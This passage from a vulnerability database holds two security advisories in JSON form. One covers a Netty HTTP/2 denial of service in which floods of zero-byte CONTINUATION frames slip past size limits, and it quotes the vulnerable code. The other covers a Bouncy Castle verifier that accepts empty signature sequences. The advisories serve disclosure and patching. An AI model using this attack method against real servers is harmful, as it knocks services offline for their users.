"details": "### Summary\nA remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of `CONTINUATION` frames. The server\u0027s lack of a limit on the number of `CONTINUATION` frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.\n\n### Details\nThe vulnerability exists in Netty\u0027s `DefaultHttp2FrameReader`. When an HTTP/2 `HEADERS` frame is received without the `END_HEADERS` flag, the server expects one or more subsequent `CONTINUATION` frames. However, the implementation does not enforce a limit on the *count* of these `CONTINUATION` frames.\n\nThe key issue is located in `codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`. The `verifyContinuationFrame()` method checks for stream association but fails to implement a frame count limit.\n\nAny user can exploit this by sending a stream of `CONTINUATION` frames with a zero-byte payload. While Netty has a `maxHeaderListSize` protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to `maxHeaderListSize - 0 \u003c currentSize`, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.\n\n`codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`\n\n**`verifyContinuationFrame()` (lines 381-393)** \u2014 No frame count check:\n```java\nprivate void verifyContinuationFrame() throws Http2Exception {\n verifyAssociatedWithAStream();\n if (headersContinuation == null) {\n throw connectionError(PROTOCOL_ERROR, \"...\");\n }\n if (streamId != headersContinuation.getStreamId()) {\n throw connectionError(PROTOCOL_ERROR, \"...\");\n }\n // NO frame count limit!\n}\n```\n\n**`HeadersBlockBuilder.addFragment()` (lines 695-723)** \u2014 Byte limit bypassed by 0-byte frames:\n```java\n// Line 710-711: This check NEVER fires when len=0\nif (headersDecoder.configuration().maxHeaderListSizeGoAway() - len \u003c\n headerBlock.readableBytes()) {\n headerSizeExceeded(); // 10240 - 0 \u003c 1 =\u003e FALSE always\n}\n```\n\nWhen `len=0`: `maxGoAway - 0 \u003c readableBytes` \u2192 `10240 \u003c 1` \u2192 FALSE. The byte limit is never triggered.\n\n### Impact\nThis is a CPU-based Denial of Service (DoS). Any service using Netty\u0027s default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.",
"id": "GHSA-w9fj-cfpg-grvv",
"modified": "2026-03-27T21:48:53Z",
"published": "2026-03-26T18:49:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-w9fj-cfpg-grvv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33871"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty HTTP/2 CONTINUATION Frame Flood DoS via Zero-Byte Frame Bypass"
}
GHSA-WG6Q-6289-32HP
Vulnerability from github – Published: 2026-04-15 18:31 – Updated: 2026-04-16 21:32: Use of a Broken or Risky Cryptographic Algorithm vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcpkix on all (pkix modules).
PKIX draft CompositeVerifier accepts empty signature sequence as valid.
This issue affects BC-JAVA: from 1.49 before 1.84.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-jdk18on"
},
"ranges": [
{
"events": [
{
"introduced": "1.49"
},
{
"fixed": "1.84"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-jdk15to18"
},
"ranges": [
{
"events": [
{
"introduced": "1.49"
},
{
"fixed": "1.84"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-jdk15on"
},
"ranges": [
{
"events": [
{
"introduced": "1.49"
},
{
"fixed": "1.84"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-jdk14"
},
"ranges": [
{
"events": [
{
"introduced": "1.49"
},
{
"fixed": "1.84"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-debug-jdk18on"
},
"ranges": [
{
"events": [
{
"introduced": "1.49"
},
{
"fixed": "1.84"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-debug-jdk15to18"
},
"ranges": [
{
"events": [
{
"introduced": "1.49"
},
{
"fixed": "1.84"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-debug-jdk14"
},
"ranges": [
{
"events": [
{
"introduced": "1.49"
},
{
"fixed": "1.84"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-5588"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:32:20Z",
"nvd_published_at": "2026-04-15T10:16:49Z",
"severity": "MODERATE"
},
"details": ": Use of a Broken or Risky Cryptographic Algorithm vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcpkix on all (pkix modules).\n\n\nPKIX draft CompositeVerifier accepts empty signature sequence as valid.\n\n\nThis issue affects BC-JAVA: from 1.49 before 1.84.",
"id": "GHSA-wg6q-6289-32hp",
"modified": "2026-04-16T21:32:20Z",
"published": "2026-04-15T18:31:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5588"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/commit/656bae0dbd9b1521f840521ff786e78749fe3057"
},
{
"type": "PACKAGE",
"url": "https://github.com/bcgit/bc-java"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%905588"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/U:Green",
"type": "CVSS_V4"
}
],
"summary": "Bouncy Castle Crypto Package For Java: Use of a Broken or Risky Cryptographic Algorithm vulnerability in bcpkix modules"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.